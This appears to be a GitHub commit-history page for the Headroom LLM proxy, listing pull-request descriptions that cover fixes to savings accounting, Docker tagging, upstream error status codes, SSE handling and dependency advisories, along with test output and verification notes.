- **`perf/analyzer.py`** — the per-model loop summed `tokens_saved`
while its own headline summed `tokens_saved + tool_saved`. Now uses the
same all-layers construction (`headline_before = before + tool_saved`),
and prints a `· messages / · tool schemas` split line only when there is
a split to show.
- **`proxy/savings_tracker.py`** — added a `tool_tokens_saved` bucket to
`_empty_by_model_entry()`, normalization, and
`_record_by_model_locked()`; `record_request()` gained a
`tool_search_saved` parameter. `_by_model_snapshot_locked()` ranks and
computes `savings_percent` off the combined figure and exposes
`headline_tokens_saved`.
- **`proxy/prometheus_metrics.py`** — **the seam.** `record_request`
already accepted `tool_search_saved` and already folded it into the
per-model *dollars*, but never passed it to
`savings_tracker.record_request`. Tokens and money therefore disagreed
on the same row.
- **`proxy/cost.py`** (feeds the dashboard's "Per-Model Token Savings"
table) — added `_tool_saved_by_model`, a `tool_schema_saved` kwarg, and
`compression_tokens_saved` / `tool_tokens_saved` alongside a combined
`tokens_saved`. The `stats()` loop now iterates the **union** of both
dicts: keying off compression alone dropped a deferral-only model from
the table entirely rather than merely under-reporting it.
- **`proxy/outcome.py`** — forwards the figure it already computed for
`metrics.record_request` to `cost_tracker.record_tokens`.
- **`dashboard.html`** — the "Tokens Saved" cell gains a `title` showing
the compression/deferral split.
Design notes:
- Components stay separately addressable rather than widening an
existing field's meaning in place, so persisted state remains readable
by older readers.
- Percentages use the all-layers numerator over `saved + sent` —
deferred schemas were never in `sent`, so that is still the pre-Headroom
volume.
- `CostTracker.stats()["savings_usd"]` is deliberately **not** widened:
deferral is already priced by `SavingsTracker`, and this tracker's
dollars feed budget enforcement, where counting it twice would
double-book the saving.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed
### Test Output
```text
$ pytest tests/test_per_model_tool_savings.py -q
11 passed in 0.94s
# Same file against pre-fix code (git stash), proving the tests bite:
5 failed, 1 passed
FAILED test_per_model_rows_reconcile_with_the_headline
FAILED test_a_tool_only_model_no_longer_reads_zero
FAILED test_tracker_attributes_deferral_to_the_model
FAILED test_tracker_default_is_unchanged_without_deferral
FAILED test_state_written_before_this_field_existed_still_loads
(the one that passes pre-fix is the "compression-only model is unchanged" guard)
$ pytest tests/ -q # this branch
3 failed, 11374 passed, 587 skipped in 343.55s
$ pytest tests/ -q # clean origin/main, same machine
3 failed, 11364 passed, 587 skipped in 352.64s
Identical 3 failures on both — pre-existing and environmental, not regressions:
test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
test_release_workflows.py::test_no_native_tls_in_wheel_build_tree (FileNotFoundError: 'cargo')
test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
(whole-suite ordering flake; tests/test_graceful_shutdown.py passes 11/11 in isolation on this branch)
$ ruff check headroom/
All checks passed!
$ mypy headroom/proxy/cost.py headroom/proxy/savings_tracker.py \
headroom/proxy/prometheus_metrics.py headroom/proxy/outcome.py \
headroom/perf/analyzer.py
Success: no issues found in 5 source files
```
## Real Behavior Proof
- Environment: macOS, Python 3.12.13, this branch rebased on
`origin/main` @ `
|
||
|
Tejas Chopra
|
bf651c3dc1
|
fix(docker): give :latest exactly one writer (#3154)
## Description Closes #3150. `ghcr.io/headroomlabs-ai/headroom:latest` resolved to the distroless `code-slim` build, whose `import onnxruntime` segfaults on arm64. The proxy imports onnxruntime at startup in cache mode, so the container never bound its port and `headroom deploy` crash-looped (exit 139) on Apple Silicon. @ricwo's report is exceptionally good — it isolates the base image with a copy-`site-packages`-onto-`debian:trixie-slim` experiment, and explicitly retracts an earlier wrong theory about the `cpuid_info` line. I verified the tagging half independently against the live registry: ``` latest sha256:6b34905489e3... <- identical 0.36.0-code-slim sha256:6b34905489e3... <- identical 0.36.0 sha256:bb8e77d01b54... ``` **Root cause, proven from the job log rather than inferred.** `docker/metadata-action` defaults to `latest=auto`, which appends a bare `latest` for any semver release — and its own log line reads `suffixLatest=false`, meaning the per-tag `suffix=` that keeps every other tag variant-scoped never reaches it. All eight variant cells therefore emitted `:latest`, and the last to finish won. From the 0.36.0 `code-slim` cell: ``` latest=auto suffixLatest=false tags: [..."ghcr.io/headroomlabs-ai/headroom:code-slim", "ghcr.io/headroomlabs-ai/headroom:latest"] pushing sha256:fbcbb68... to ghcr.io/headroomlabs-ai/headroom:latest ``` It landed on `code-slim` by scheduling luck. Any of the eight could have won on any release. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - **`flavor: latest=false`** on the `docker-manifest` metadata-action. Stops the tag being generated at all, leaving the root-cell promotion step as the single writer of `:latest`. - **A runtime guard** in `Create multi-arch manifest`: if a suffixed variant reaches the push carrying a bare `latest`, the job fails instead of publishing. `VARIANT_NAME` is passed via `env:` rather than spliced inline. - **A test that encodes the missing half of the contract.** `test_docker_latest_promotion_is_owned_by_root_manifest_cell` already existed and passed throughout — it asserted the *intended* writer was the root cell but never the *absence of unintended ones*. The new test asserts exclusivity: `latest=false` is set, no tag rule reintroduces `value=latest`, and the guard runs before anything is pushed. ## Testing - [x] Unit tests pass (`pytest`) ### Test Output ```text tests/test_release_workflows.py 48 passed, 1 skipped, 1 failed The failure is test_no_native_tls_in_wheel_build_tree: FileNotFoundError: [Errno 2] No such file or directory: 'cargo' Pre-existing and environmental — cargo is not installed on this machine; it fails identically on a clean main checkout. ruff check: All checks passed ruff format --check: 1 file already formatted YAML parses; flavor='latest=false', env keys ['IMAGE','DIGEST_DIR','VARIANT_NAME']. ``` ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), worktree off `main`. Live registry queried anonymously via the GHCR token endpoint. - Exact command / steps: (1) resolved `latest`, `0.36.0` and all four variant tags to manifest digests directly from `ghcr.io/v2/.../manifests/*` to confirm the aliasing; (2) pulled the `docker-manifest (code-slim)` job log from the 0.36.0 release run to see which tags that cell actually pushed; (3) applied the fix and ran the workflow test suite; (4) **removed `latest=false` again and re-ran the new test** to confirm it reproduces the bug. - Observed result: `:latest` and `:0.36.0-code-slim` share digest `sha256:6b34905489e3...` while `:0.36.0` is `sha256:bb8e77d01b54...`, exactly as reported. The code-slim job log shows `latest=auto` / `suffixLatest=false` and `pushing ... to ghcr.io/headroomlabs-ai/headroom:latest`. With the fix removed the new test fails on `assert 'latest=false' in ''`; with it restored, it passes. - Not tested: I could not exercise the arm64 segfault or a real multi-arch push from here — no ghcr write credential and no arm64 runner. The tagging fix is verified at the config layer plus the registry evidence above; the end-to-end proof is the re-run described below. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: Yes, and that is the fix — `:latest` will track the plain Debian-based build instead of whichever variant cell happened to finish last. - Kill switch / disable path: n/a (CI tagging policy). - Unsafe override required: No. - Qualification impact: A variant cell that would publish a bare `latest` now fails the Docker job loudly rather than silently repointing the default tag. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes **The live `:latest` is still wrong until the images are re-tagged.** Merging this fixes future releases but does not touch the registry. Once merged, run `docker.yml` via `workflow_dispatch` with `version=0.36.0` to rebuild and repoint `:latest` at the plain build. I don't hold a `write:packages` credential, so that step needs a maintainer. **Not fixed here, and it outlives this PR:** the distroless arm64 segfault itself. After this change `:latest` points at the Debian build that works, but `0.36.0-slim` and `0.36.0-code-slim` remain broken on arm64 for anyone selecting them explicitly. @ricwo's evidence points squarely at the distroless base — same wheel, same numpy 2.5.2, same Python 3.13.5, works on `debian:trixie-slim` and segfaults on distroless. That deserves its own issue; the two failures are independent and this one is a release-tagging bug, exactly as the report says. Related but separate, from an earlier audit of this same file: the four bare variants set `RUNTIME_USER = "root"` in `docker-bake.hcl` while `Dockerfile:162` defaults to `nonroot`, and the `runtime-default` (nonroot) bake target is referenced by the docs but by no workflow. Worth its own change. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> |
||
|
Tejas Chopra
|
1f96dabc19
|
fix(security): address u9up assessment findings (WEB-01–07) (#2207)
Hardens client-selected upstreams, memory identity resolution, downloaded binary integrity, telemetry import, Docker defaults, Neo4j credentials, and archive extraction. Refreshes the branch against current main and preserves newer same-origin and loopback protections. |
||
|
Serge ARADJ
|
a3d9424de9
|
fix(proxy): return 502, not 200, when upstream connect retries are exhausted (#3083)
## Description When every connect retry to the upstream API fails, `_stream_response_inner` synthesizes its own SSE error response (added in #1639, so an h2 `StreamReset` wouldn't surface as an unhandled 502). It was built without a `status_code`, so Starlette defaulted it to **200**. A 200 carrying a lone `event: error` frame and no `message_start` is indistinguishable, to every Anthropic/OpenAI SDK, from a successful stream that produced no events. Claude Code reports: ``` API Error: API returned an empty or malformed response (HTTP 200) - check for a proxy or gateway intercepting the request ``` The client also cannot recover, because 200 is not a retryable status. **It does not self-heal.** Compression fails open on timeout, so the proxy forwards the full uncompressed body; the client retries, re-sends the same oversized payload, hits the same transport failure, and gets another 200. The session is stuck until the client is pointed away from the proxy. Related — same *symptom*, different root cause, so this closes none of them: #3040, #3055, #3019, #2952 (CCR buffered-stream conversion), #3071, #3017. Worth noting that #3040 ("first messages succeed, fails after several turns", closed `NOT_PLANNED`) matches this failure's shape exactly. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [x] Breaking change (fix or feature that would cause existing functionality to change) - [x] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) Marked breaking because the status code on this path changes 200 to 502. See **Runtime Rollout Safety**. ## Changes Made - `handlers/streaming.py` — the synthesized transport-error response now returns **502**. The structured SSE body is unchanged for clients that read it. No body byte has been forwarded at that point, so the status line is still ours to set. - `prometheus_metrics.py` — new `headroom_upstream_connection_errors_total{provider}`. This path forwards no upstream status, so there was nothing to attribute the failure to in `/metrics`; it survived only as a log line. Mirrors `record_compression_failed` and takes the same `_obs_counter_lock`. - `server.py` — `HEADROOM_LOG_LEVEL` for uvicorn's level, previously hardcoded to `"warning"` with no env var and no CLI flag. Default unchanged. An unrecognized value warns and falls back rather than raising (uvicorn raises `KeyError` on unknown levels). - `docs/content/docs/proxy.mdx` — documents the new env var in the Observability table. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [x] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed `test_stream_reset_exhaustion_yields_sse_error_not_crash` asserted the SSE body but never the status — which is how the 200 survived. Added a test that pins the status specifically, a happy-path guard, and coverage for the counter and the env-var resolver. ### Test Output ```text $ python -m pytest tests/test_h2_stream_reset_retry.py tests/test_prometheus_obs_counters.py tests/test_uvicorn_log_level_env.py -q 29 passed in 5.26s $ python -m ruff check . All checks passed! $ python -m ruff format --check . 1506 files already formatted $ python -m mypy headroom/proxy/handlers/streaming.py headroom/proxy/prometheus_metrics.py headroom/proxy/server.py Success: no issues found in 3 source files # Fails before the fix (status_code=502 line removed, nothing else changed): $ python -m pytest tests/test_h2_stream_reset_retry.py -k status_is_not_200 assert result.status_code == 502 E assert 200 == 502 FAILED tests/test_h2_stream_reset_retry.py::test_stream_reset_exhaustion_status_is_not_200 1 failed, 5 deselected in 1.28s ``` Broader regression run (181 passed): `test_h2_stream_reset_retry`, `test_prometheus_obs_counters`, `test_uvicorn_log_level_env`, `test_prometheus_label_escaping`, `test_observability_metrics`, `test_prometheus_stage_timing_concurrency`, `test_proxy_streaming_ratelimit_headers`, `test_proxy_retry_429`, `test_proxy_byte_faithful_forwarding`, `test_ws_http_fallback`, `test_mid_turn_steering`, `test_proxy_anthropic_cache_stability`. ## Real Behavior Proof - Environment: Windows 11, Python 3.13.15, headroom @ this branch. Genuine `create_app()` FastAPI app under real uvicorn — no mocks, no TestClient. Upstream pinned to `http://127.0.0.1:59999` (a closed port), so every connect attempt is a real TCP refusal, producing a real `httpx.ConnectError` (an `httpx.TransportError`) into the branch under test. `retry_max_attempts=2`. - Exact command / steps: boot the real app with `HEADROOM_LOG_LEVEL=info` and `ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")`, POST a `stream:true` request to `/v1/messages`, then scrape `/metrics`. Verbatim commands below. - Observed result: `HTTP_STATUS=502` (previously 200), structured SSE error body intact, `headroom_upstream_connection_errors_total{provider="anthropic"} 1`, and a uvicorn access line present only because `HEADROOM_LOG_LEVEL=info` was honored. Verbatim output below. - Not tested: the h2 `StreamReset` variant specifically — reproduced via `ConnectError`, a sibling `httpx.TransportError` travelling the identical code path (the existing `test_stream_reset_exhaustion_*` tests cover `RemoteProtocolError` at unit level). Not exercised against the OpenAI, Gemini, or Bedrock streaming handlers, which have their own error paths. No load or concurrency testing. Commands run after the patch: ```bash # boot the real app with a dead upstream and the new env var set HEADROOM_LOG_LEVEL=info python run_proxy_proof.py # ProxyConfig(anthropic_api_url="http://127.0.0.1:59999") curl -s -o resp.txt -w "HTTP_STATUS=%{http_code}\ncontent_type=%{content_type}\n" \ http://127.0.0.1:8799/v1/messages \ -H "content-type: application/json" \ -H "x-api-key: proof-key" \ -H "anthropic-version: 2023-06-01" \ -d @request.json # {"model":"claude-opus-5","max_tokens":64,"stream":true,"messages":[...]} ``` After-fix evidence: ```text PROOF: HEADROOM_LOG_LEVEL='info' -> uvicorn log_level='info' PROOF: upstream pinned to http://127.0.0.1:59999 (closed port) HTTP_STATUS=502 content_type=text/event-stream; charset=utf-8 event: error data: {"type": "error", "error": {"type": "connection_error", "message": "Failed to connect to upstream API: All connection attempts failed"}} ``` ```text $ curl -s http://127.0.0.1:8799/metrics | grep upstream_connection_errors # HELP headroom_upstream_connection_errors_total Exhausted-retries upstream transport failures by provider; the proxy answered 502 itself because no upstream response arrived # TYPE headroom_upstream_connection_errors_total counter headroom_upstream_connection_errors_total{provider="anthropic"} 1 ``` ```text # uvicorn access log — present only because HEADROOM_LOG_LEVEL=info was honored: INFO: 127.0.0.1:62472 - "POST /v1/messages HTTP/1.1" 502 Bad Gateway INFO: 127.0.0.1:62479 - "GET /metrics HTTP/1.1" 200 OK ``` All three changes are exercised end to end: the status is 502, the structured body survives, the counter increments, and the env var takes effect. Separately, this ran against a real deployment: the fix is live on a self-hosted proxy at `0.35.1-alpha.3` (Azure Container Apps, Cloudflare in front), where the original HTTP 200 was first observed against `0.35.1-alpha.1`. ## Runtime Rollout Safety - Rollout-managed feature(s): none — unconditional bug fix, no flag. - Minimum rollout channel: n/a — ships with the change. - Stable/default behavior changed: yes. This path returns 502 instead of 200. `HEADROOM_LOG_LEVEL` and the new counter both default to current behavior (`warning`; the counter is absent from `/metrics` until the first occurrence). - Kill switch / disable path: none. Happy to add an env guard if you would prefer it staged, though a 200 on this path is never correct. - Unsafe override required: no. - Qualification impact: any client treating the synthesized 200 as success now sees a 5xx. That is the fix — such a client was silently accepting a truncated response. Retry-on-5xx logic in the Anthropic and OpenAI SDKs will now retry a transient transport failure, which is the intended behavior. - Rollback path: revert the commit; single and self-contained. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [x] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [x] I did **not** edit `CHANGELOG.md` — it is generated by release-please from my Conventional Commit PR title (a CI guard enforces this) ## Screenshots (if applicable) N/A — terminal output above. ## Additional Notes **Scope.** Three changes in one PR, against the "one logical change" guidance. They share a single root cause: this bug was only findable by reading `/metrics`, because the failing path emitted no status, no counter, and (see below) no usable log line. The counter and the env var are the observability that should have made it a five-minute diagnosis instead of a forensic exercise. Happy to split the `HEADROOM_LOG_LEVEL` change into its own PR if you would rather keep the fix minimal — just say so. **Related defect, filed separately as #3087.** While producing the proof above I found that the proxy's own `logger.error("Connection error to upstream API: ...")` never reaches stdout: that run produced **zero** `headroom.proxy` logger lines, only uvicorn's own. Root cause is `_setup_file_logging()` setting `propagate = False` on the `headroom` logger (`helpers.py:1536`), which sends every application record to `~/.headroom/logs/proxy.log` and nowhere else — invisible in any container, where stdout is the log channel. That is precisely why this PR adds a counter rather than trusting a log line. Not fixed here: the right remedy is a maintainer call, so it is written up in #3087 with a repro rather than folded into this PR. **No dependency changes.** The dead-upstream harness used for the proof above is ~25 lines (`ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")` + `uvicorn.run(create_app(config))`); happy to contribute it as an e2e test if that is useful. Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
JD Davis
|
b88b9078d8
|
chore: release 0.36.0 (#3067)
🤖 I have created a release *beep* *boop* --- ## [0.36.0](https://github.com/headroomlabs-ai/headroom/compare/v0.35.0...v0.36.0) (2026-08-20) ### Features * add deterministic runtime rollout controls ([#1490](https://github.com/headroomlabs-ai/headroom/issues/1490)) ([ |
||
|
Tejas Chopra
|
0e26fb80de
|
fix(proxy/anthropic): stop answering a non-streaming turn with an event stream (#3142)
## Description Closes #3130. Unifies #3131 (@Joaovsales) and #3132 (@taiseii), which landed within hours of each other on the same bug. Neither is redundant — **#3131 contributed the clearest statement of the contract; #3132 contributed the reconstruction that can actually be trusted to satisfy it.** This takes both. A caller that sent `stream: false` was handed a `text/event-stream` body at HTTP 200. The reply was complete — 8756 bytes, a valid upstream `request-id` — it was simply wearing a wire format the SDK cannot parse, so the turn was lost. **On root cause.** #3130 says outright: *"I could not pin down why the upstream answered a `stream`-less request with an event stream."* I think this does. At `v0.35.0` the CCR path flips the body to `stream: false` and never touches the client's `Accept` header — I checked the tag and the count of Accept rewrites at that site is **zero**. So upstream receives a self-contradicting request: *"answer as JSON"* in the body, *"I only accept SSE"* in the headers. Both reporters (#3130, #3140) show `server: cloudflare` / `cf-ray`, and both describe it as intermittent — consistent with an edge honouring `Accept` under retry. #3102 fixed that for the CCR flip; this PR moves the rewrite to the buffered boundary **every** non-streaming request reaches, so the client's own non-streaming retry is covered too. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made **From #3131 — the contract.** `headroom/proxy/nonstream_sse_policy.py`: a pure module with a behaviour matrix and `should_recover_sse_reply` as a single predicate. The three negative arms are deliberate — a streaming caller wants SSE, a JSON content-type is already correct, a non-200 carries an upstream error the client should see verbatim. **From #3132 — the reconstruction.** `require_complete=True` demands `message_start`, a terminal `message_stop`, every opened block closed, no in-band `error` event, and no delta the reconstructor cannot replay. Anything short of that is a 502. Three things only #3132 had, each load-bearing: - **`index` is stripped from rebuilt content blocks.** The parser writes it (`streaming.py:425`) and a client persists the reconstructed turn and echoes it back — at which point Anthropic 400s with `content.0.text.index: Extra inputs are not permitted`. `_strip_streaming_only_content_fields` (`anthropic.py:185`) already documents this exact failure. That inbound stripper would mask it *while the proxy is in the path*, but the client's stored history is still polluted. - **SSE framing is normalized and `data:` no longer requires the optional space.** The old `startswith("data: ")` skipped a spec-valid stream **entirely** — zero events parsed, which is literally what the report describes (*"0 stream events received"*). - **Detection sniffs the body**, so a mislabeled or absent content-type is still caught. **Reconciled where they disagreed:** - *Headers.* #3131 hand-rolled a framing list; this uses the established `sanitize_forwarded_response_headers`. That already strips `connection`, `keep-alive` and `server` alongside the content-* family — and per the comment at `helpers.py:325`, leaving `transfer-encoding` on a rebuilt body is what produced an empty HTTP 200 in #3019. #3131's list would have left three of those on. #3132's `cf-*` filter is kept. - *Detection.* The body sniff arrives as `body_is_event_stream`, so the policy module stays pure — the sniff needs the response object and the handler owns that. - Dropped #3131's `json_reply_headers` and its test class; everything else from both PRs is retained. ## Testing - [x] Unit tests pass (`pytest`) - [x] Integration tests pass ### Test Output ```text tests/test_nonstream_sse_policy.py 18 passed (from #3131) tests/test_anthropic_buffered_sse.py 18 passed (from #3132) 36 passed Regression sweep (-k "stream or sse or ccr or anthropic or proxy or buffered or usage"): 2982 passed, 181 skipped, 0 failed in 153.41s ruff check: All checks passed ruff format --check: 527 files already formatted ``` Both contributors' suites are kept whole and both pass unmodified against the merged implementation, which is the useful signal here — they were written independently against different implementations. ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off `main`, `_core.abi3.so` copied in. - Exact command / steps: applied #3132 as the engine, layered #3131's policy module over it, rewired the decision site to the predicate, then ran both suites and a 2982-test sweep concentrated on everything touching the shared SSE parser. - Observed result: 36/36 across both contributed suites, 2982 passed / 0 failed on the sweep. The sweep matters more than usual here — `_parse_sse_to_response` is shared with the streaming path's usage accounting, and `require_complete` defaults to `False` specifically so existing callers keep the lenient reconstruction they were written against. Nothing regressed. - Not tested: no live upstream. I could not reproduce the upstream answering a `stream`-less request with SSE against real `api.anthropic.com` — that is the condition #3130 reports as intermittent and load-dependent, and the Accept explanation above remains a well-supported hypothesis rather than something I observed. The fix does not depend on it: whatever the upstream returns, a caller that did not ask for streaming is no longer handed SSE. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: Yes, deliberately, in two places. A non-streaming turn answered with SSE is now reconstructed as JSON instead of relayed; an SSE reply that cannot be faithfully reconstructed is now a 502 instead of an unparseable 200. Both are the point. `require_complete` defaults to `False`, so streaming callers of the shared parser are untouched. - Kill switch / disable path: none by design — relaying a body the client cannot parse has no legitimate mode. - Unsafe override required: No. - Qualification impact: A truncated upstream stream now surfaces as an explicit 502 rather than a short-but-successful turn. More visible failures, fewer silent ones. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes If this lands, #3131 and #3132 should be closed as superseded — both authors are credited via `Co-authored-by:` and their tests ship intact. I would not close either before a maintainer agrees this unification is the direction, since it discards a design decision from each. **Wider context, not fixed here:** #3130 and #3140 both report against **0.35.0**, and `main` already carries a stack of fixes for this symptom class that has never shipped — #3102 (Accept), #3092, #3091, #3094, #3101, #3069, #3084, #3124, #3134. All of them are gated behind #3067 `chore: release 0.36.0`. Every closed lookalike (#3019, #3055, #3071, #3040, #2952) was fixed into that same unreleased window. Merging this PR does not help either reporter until 0.36.0 ships; **cutting that release is the higher-leverage action.** The interim workaround for anyone on 0.35.0 is `HEADROOM_NO_CCR=1` — the buffered flip is gated on `_has_headroom_retrieve_tool`, and `no_ccr` stops the tool being injected, so the flip never engages. Note `headroom wrap` has no `--no-ccr` flag in 0.35.0, so it has to be the env var. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> Co-authored-by: João Souto <73318835+Joaovsales@users.noreply.github.com> Co-authored-by: taiseii <37083727+taiseii@users.noreply.github.com> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tejas Chopra
|
93c474e84b
|
fix(deps): clear the two Rust advisories and make cargo audit blocking (#3121)
## Description
An independent OSV sweep of every locked package in the repo (1,463
across PyPI, crates.io and npm) surfaced three RUSTSEC advisories that
**no gate was reporting**:
| advisory | package | status |
|---|---|---|
| RUSTSEC-2026-0258 (GHSA-q83h-524g-xf6h) | h2 0.4.15 | fixed here →
0.4.16 |
| RUSTSEC-2026-0204 | crossbeam-epoch 0.9.18 | fixed here → 0.9.20 |
| RUSTSEC-2024-0436 | paste 1.0.15 | unmaintained, **no patched version
exists** |
**h2 is the one that matters.** It accepted and queued empty DATA frames
without limit; a peer that never drains a stream drives unbounded memory
growth, or a panic when the length overflows. It is not a corner of the
tree — it reaches the published wheel (`hf-hub -> headroom-core ->
headroom-py`) and the entire axum/reqwest/aws-config surface of
`headroom-proxy`.
**Why none of this was visible** is the more important half of this PR.
The `audit` job was already correct in one respect I initially misread —
the `rust-changes` job reports `rust=true` for `schedule`, so it *does*
run nightly rather than only on Rust changes. The actual defect is that
`cargo audit` was `continue-on-error: true`. It has been faithfully
reporting findings into a green run that nobody looks at.
Two of the three are also invisible to Dependabot entirely:
`crossbeam-epoch` and `paste` are RUSTSEC-only with no GHSA, so the
advisory database GitHub scans does not contain them. This job is their
only possible coverage.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
## Changes Made
- `Cargo.lock`: `h2` 0.4.15 → 0.4.16, `crossbeam-epoch` 0.9.18 → 0.9.20.
Version + checksum only, 4 lines each way.
- `.github/workflows/rust.yml`: dropped `continue-on-error: true` from
the `cargo audit` step. `cargo deny check licenses` is deliberately left
soft-fail — `deny.toml` documents itself as intentionally permissive for
now, and tightening license policy is a separate decision.
- `.cargo/audit.toml` (new): lists `RUSTSEC-2024-0436` as accepted, with
the reason. Path matters — cargo-audit reads `.cargo/audit.toml`; a
root-level `audit.toml` is silently ignored.
`paste` is unmaintained rather than vulnerable, and there is nothing to
move to. It arrives via `tokenizers -> paste` and `rav1e -> paste`, both
under `fastembed`, so it is not actionable at our layer. Worth
revisiting when `tokenizers` adopts `pastey`.
## Testing
- [x] Manual testing performed
### Test Output
```text
Checksums verified against the real crates.io tarballs, not just the API field:
OK h2 0.4.16 (173331 bytes)
lock : a9f37a958b41b3b19ee2707c06439c0e9e547e847223eb791ecb0cb821c65e27
real : a9f37a958b41b3b19ee2707c06439c0e9e547e847223eb791ecb0cb821c65e27
OK crossbeam-epoch 0.9.20 (47545 bytes)
lock : 2d6914041f254d6e9176c01941b21115dcfb7089e55135a35411081bd106ef3f
real : 2d6914041f254d6e9176c01941b21115dcfb7089e55135a35411081bd106ef3f
Dependency-set equality (crates.io API, kind=normal):
h2 0.4.15 -> 0.4.16 : 11 deps before, 11 after, identical
crossbeam-epoch 0.9.18 -> .20: 2 deps before, 2 after, identical
```
## Real Behavior Proof
- Environment: macOS (darwin 25.4.0), worktree off `main` @ `
|
||
|
Tejas Chopra
|
709d74cd78
|
test(proxy): pin down what Anthropic's thinking signature actually covers (#3135)
## Why #3124 relaxed the signed-thinking lock on the premise that **the signature seals the thinking block, not the request**. Nothing in Anthropic's public docs states the scope, so that premise was inference — and it shipped **on by default**. This measures it instead. ## Result Each test replays a turn holding a real signed thinking block, mutates exactly one part, and asserts the request is still accepted. **Identical on all five models tested** — `sonnet-4-5`, `opus-4-5`, `sonnet-4-6`, `sonnet-5`, `opus-5`: | mutation | status | |---|---| | exact replay (control) | 200 | | compress a `tool_result` in a later user message — *what we actually do* | 200 | | rewrite sibling `text`/`tool_use` blocks **inside the assistant message holding the thinking block** | 200 | | rewrite top-level `system` + tool descriptions (schema compaction, tool-search deferral) | 200 | | re-serialize the body with reordered keys (canonical encode) | 200 | | **forge the signature** | **400** invalid signature in thinking block | ## The two tests that matter **The sibling case** is the gap the fingerprint cannot close by inspection. `thinking_blocks_survived_mutation` proves the thinking blocks are byte-identical, but says nothing about their *neighbours in the same assistant message*. If the seal covered the whole assistant turn, a compressed sibling would break it and the fingerprint would wave it through. It doesn't. **The forged-signature test is the negative control**, and the load-bearing test in the file. Without it, a wall of green would be equally consistent with *"Anthropic never validates signatures on this request shape"* — which would make every other assertion here vacuous. It 400s, so validation is live and the acceptances carry information. This also disproves #2254's stated cause directly: a plain canonical re-encode changes the bytes and is accepted. Those 400s were real, but were never traced to their true trigger. ## Scope - Gated behind `pytest.mark.live`, skipped without a key. Verified it skips cleanly (`6 skipped`) and deselects under `-m "not live"`, so CI is unaffected. - Model override via `HEADROOM_LIVE_THINKING_MODEL`. - Also replaces the speculative risk note in `body_forwarding.py` with the measured finding. The relaxation still only forwards when every thinking block is byte-identical — narrower than this evidence permits — so these results are headroom, not the safety margin. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tejas Chopra
|
284ff31947
|
fix(proxy): stop a lone surrogate turning a thinking body into a 500 (#3134)
## What
`serialize_body_canonical` uses `ensure_ascii=False`, so a lone
surrogate anywhere in the body raises `UnicodeEncodeError` at
`.encode("utf-8")`.
This is reachable input, not a hypothetical:
- `"\ud800"` is **valid JSON** — `json.loads` accepts it happily
- a tool result carrying truncated UTF-16 or sliced binary produces one
Both forwarders resolve outbound bytes **outside** their
connection-retry loop (`streaming.py:1131`, `server.py:2170`), so the
exception escapes as an **unretried 500**.
## Why now
#3124 made this newly load-bearing. Before it, a mutated
thinking-bearing body returned the client's bytes verbatim and **never
reached canonical serialization at all**. Now it does — so the largest,
most tool-result-heavy population in Claude Code traffic depends on this
not raising.
Reproduced against `main`:
```
serialize_body_canonical RAISES: UnicodeEncodeError: 'utf-8' codec can't
encode character '\ud800' in position 91: surrogates not allowed
select_outbound_body RAISES: UnicodeEncodeError: ...
```
## The fix
Fall back to the escaped encoding on `UnicodeEncodeError`.
**Why this and not passthrough.** Falling back to the client's original
bytes would silently drop every mutation — including the handler's
`stream` flip — and diverge from `outbound_body_is_client_bytes`, which
cannot predict a serialization failure without doing the serialization.
That reintroduces the #2952 buffered/streamed mismatch. The escaped form
keeps all mutations on the wire.
It encodes the **identical parsed values**, so upstream reconstructs
exactly the same request and the signed thinking blocks round-trip
untouched (asserted in the test). Only the byte-level encoding differs,
costing one cache miss on a request that would otherwise have failed
outright. Normal bodies are unaffected — the fast path is unchanged and
still emits compact non-ASCII.
## Test
`test_lone_surrogate_in_thinking_body_serializes_instead_of_raising` —
asserts no raise, `source == "canonical"`, mutation preserved, and the
signed block round-tripping to exactly the client's values.
Local: 78 passed across `test_proxy_byte_faithful_forwarding.py` +
`test_ccr_buffered_stream_signed_thinking.py`; 191 passed across all
serialization-touching tests. ruff + mypy clean.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
|
||
|
Tejas Chopra
|
df6ff6bd5b
|
fix(deps): bump datasets past PYSEC-2026-3716 (#3136)
## Why this is urgent
`datasets` 4.5.0 picked up **PYSEC-2026-3716** — path traversal in
